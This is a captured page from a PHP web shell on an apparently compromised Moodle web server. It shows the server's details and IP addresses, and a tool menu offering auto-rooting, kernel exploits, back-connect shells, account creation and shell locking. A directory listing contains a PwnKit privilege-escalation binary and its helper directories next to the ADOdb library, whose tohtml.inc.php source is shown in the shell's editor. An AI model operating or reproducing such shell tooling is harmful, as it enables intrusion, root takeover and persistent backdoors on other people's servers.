Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
adodb /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
datadict
[ DIR ]
drwxrwxrwx
drivers
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
perf
[ DIR ]
drwxrwxrwx
xsl
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
LICENSE.md
25.79
KB
-rwxrwxrwx
README.md
4.12
KB
-rwxrwxrwx
adodb-active-record.inc.php
26.35
KB
-rwxrwxrwx
adodb-active-recordx.inc.php
37.9
KB
-rwxrwxrwx
adodb-csvlib.inc.php
8.21
KB
-rwxrwxrwx
adodb-datadict.inc.php
27.46
KB
-rwxrwxrwx
adodb-error.inc.php
8.66
KB
-rwxrwxrwx
adodb-errorhandler.inc.php
2.77
KB
-rwxrwxrwx
adodb-errorpear.inc.php
2.29
KB
-rwxrwxrwx
adodb-exceptions.inc.php
2.26
KB
-rwxrwxrwx
adodb-iterator.inc.php
781
B
-rwxrwxrwx
adodb-lib.inc.php
36.54
KB
-rwxrwxrwx
adodb-memcache.lib.inc.php
4.93
KB
-rwxrwxrwx
adodb-pager.inc.php
7.93
KB
-rwxrwxrwx
adodb-pear.inc.php
9.35
KB
-rwxrwxrwx
adodb-perf.inc.php
31.16
KB
-rwxrwxrwx
adodb-php4.inc.php
415
B
-rwxrwxrwx
adodb-time.inc.php
42.7
KB
-rwxrwxrwx
adodb-xmlschema.inc.php
53.58
KB
-rwxrwxrwx
adodb-xmlschema03.inc.php
60.69
KB
-rwxrwxrwx
adodb.inc.php
135.95
KB
-rwxrwxrwx
index.html
0
B
-rwxrwxrwx
pivottable.inc.php
6.16
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
readme_moodle.txt
604
B
-rwxrwxrwx
rsfilter.inc.php
1.55
KB
-rwxrwxrwx
toexport.inc.php
3.38
KB
-rwxrwxrwx
tohtml.inc.php
5.53
KB
-rwxrwxrwx
xmlschema.dtd
1.42
KB
-rwxrwxrwx
xmlschema03.dtd
1.64
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tohtml.inc.php
<?php /* @version v5.20.16 12-Jan-2020 @copyright (c) 2000-2013 John Lim (jlim#natsoft.com). All rights reserved. @copyright (c) 2014 Damien Regad, Mark Newnham and the ADOdb community Released under both BSD license and Lesser GPL library license. Whenever there is any discrepancy between the two licenses, the BSD license will take precedence. Some pretty-printing by Chris Oxenreider <oxenreid@state.net> */ // specific code for tohtml GLOBAL $gSQLMaxRows,$gSQLBlockRows,$ADODB_ROUND; $ADODB_ROUND=4; // rounding $gSQLMaxRows = 1000; // max no of rows to download $gSQLBlockRows=20; // max no of rows per table block // RecordSet to HTML Table //------------------------------------------------------------ // Convert a recordset to a html table. Multiple tables are generated // if the number of rows is > $gSQLBlockRows. This is because // web browsers normally require the whole table to be downloaded // before it can be rendered, so we break the output into several // smaller faster rendering tables. // // $rs: the recordset // $ztabhtml: the table tag attributes (optional) // $zheaderarray: contains the replacement strings for the headers (optional) // // USAGE: // include('adodb.inc.php'); // $db = ADONewConnection('mysql'); // $db->Connect('mysql','userid','password','database'); // $rs = $db->Execute('select col1,col2,col3 from table'); // rs2html($rs, 'BORDER=2', array('Title1', 'Title2', 'Title3')); // $rs->Close(); // // RETURNS: number of rows displayed function rs2html(&$rs,$ztabhtml=false,$zheaderarray=false,$htmlspecialchars=true,$echo = true) { $s ='';$rows=0;$docnt = false; GLOBAL $gSQLMaxRows,$gSQLBlockRows,$ADODB_ROUND; if (!$rs) { printf(ADODB_BAD_RS,'rs2html'); return false; } if (! $ztabhtml) $ztabhtml = "BORDER='1' WIDTH='98%'"; //else $docnt = true; $typearr = array(); $ncols = $rs->FieldCount(); $hdr = "<TABLE COLS=$ncols $ztabhtml><tr>\n\n"; for ($i=0; $i < $ncols; $i++) { $field = $rs->FetchField($i); if ($field) { if ($zheaderarray) $fname = $zheaderarray[$i]; else $fname = htmlspecialchars($field->name); $typearr[$i] = $rs->MetaType($field->type,$field->max_length); //print " $field->name $field->type $typearr[$i] "; } else { $fname = 'Field '.($i+1); $typearr[$i] = 'C'; } if (strlen($fname)==0) $fname = ' '; $hdr .= "<TH>$fname</TH>"; } $hdr .= "\n</tr>"; if ($echo) print $hdr."\n\n"; else $html = $hdr; // smart algorithm - handles ADODB_FETCH_MODE's correctly by probing... $numoffset = isset($rs->fields[0]) ||isset($rs->fields[1]) || isset($rs->fields[2]); while (!$rs->EOF) { $s .= "<TR valign=top>\n"; for ($i=0; $i < $ncols; $i++) { if ($i===0) $v=($numoffset) ? $rs->fields[0] : reset($rs->fields); else $v = ($numoffset) ? $rs->fields[$i] : next($rs->fields); $type = $typearr[$i]; switch($type) { case 'D': if (strpos($v,':') !== false); else { if (empty($v)) { $s .= "<TD> </TD>\n"; } else { $s .= " <TD>".$rs->UserDate($v,"D d, M Y") ."</TD>\n"; } break; } case 'T': if (empty($v)) $s .= "<TD> </TD>\n"; else $s .= " <TD>".$rs->UserTimeStamp($v,"D d, M Y, H:i:s") ."</TD>\n"; break; case 'N': if (abs(abs($v) - round($v,0)) < 0.00000001) $v = round($v); else $v = round($v,$ADODB_ROUND); case 'I': $vv = stripslashes((trim($v))); if (strlen($vv) == 0) $vv .= ' '; $s .= " <TD align=right>".$vv ."</TD>\n"; break; /* case 'B': if (substr($v,8,2)=="BM" ) $v = substr($v,8); $mtime = substr(str_replace(' ','_',microtime()),2); $tmpname = "tmp/".uniqid($mtime).getmypid(); $fd = @fopen($tmpname,'a'); @ftruncate($fd,0); @fwrite($fd,$v); @fclose($fd); if (!function_exists ("mime_content_type")) { function mime_content_type ($file) { return exec("file -bi ".escapeshellarg($file)); } } $t = mime_content_type($tmpname); $s .= (substr($t,0,5)=="image") ? " <td><img src='$tmpname' alt='$t'></td>\\n" : " <td><a href='$tmpname'>$t</a></td>\\n"; break; */ default: if ($htmlspecialchars) $v = htmlspecialchars(trim($v)); $v = trim($v); if (strlen($v) == 0) $v = ' '; $s .= " <TD>". str_replace("\n",'<br>',stripslashes($v)) ."</TD>\n"; } } // for $s .= "</TR>\n\n"; $rows += 1; if ($rows >= $gSQLMaxRows) { $rows = "<p>Truncated at $gSQLMaxRows</p>"; break; } // switch $rs->MoveNext(); // additional EOF check to prevent a widow header if (!$rs->EOF && $rows % $gSQLBlockRows == 0) { //if (connection_aborted()) break;// not needed as PHP aborts script, unlike ASP if ($echo) print $s . "</TABLE>\n\n"; else $html .= $s ."</TABLE>\n\n"; $s = $hdr; } } // while if ($echo) print $s."</TABLE>\n\n"; else $html .= $s."</TABLE>\n\n"; if ($docnt) if ($echo) print "<H2>".$rows." Rows</H2>"; return ($echo) ? $rows : $html; } // pass in 2 dimensional array function arr2html(&$arr,$ztabhtml='',$zheaderarray='') { if (!$ztabhtml) $ztabhtml = 'BORDER=1'; $s = "<TABLE $ztabhtml>";//';print_r($arr); if ($zheaderarray) { $s .= '<TR>'; for ($i=0; $i<sizeof($zheaderarray); $i++) { $s .= " <TH>{$zheaderarray[$i]}</TH>\n"; } $s .= "\n</TR>"; } for ($i=0; $i<sizeof($arr); $i++) { $s .= '<TR>'; $a = $arr[$i]; if (is_array($a)) for ($j=0; $j<sizeof($a); $j++) { $val = $a[$j]; if (empty($val)) $val = ' '; $s .= " <TD>$val</TD>\n"; } else if ($a) { $s .= ' <TD>'.$a."</TD>\n"; } else $s .= " <TD> </TD>\n"; $s .= "\n</TR>\n"; } $s .= '</TABLE>'; print $s; }
Close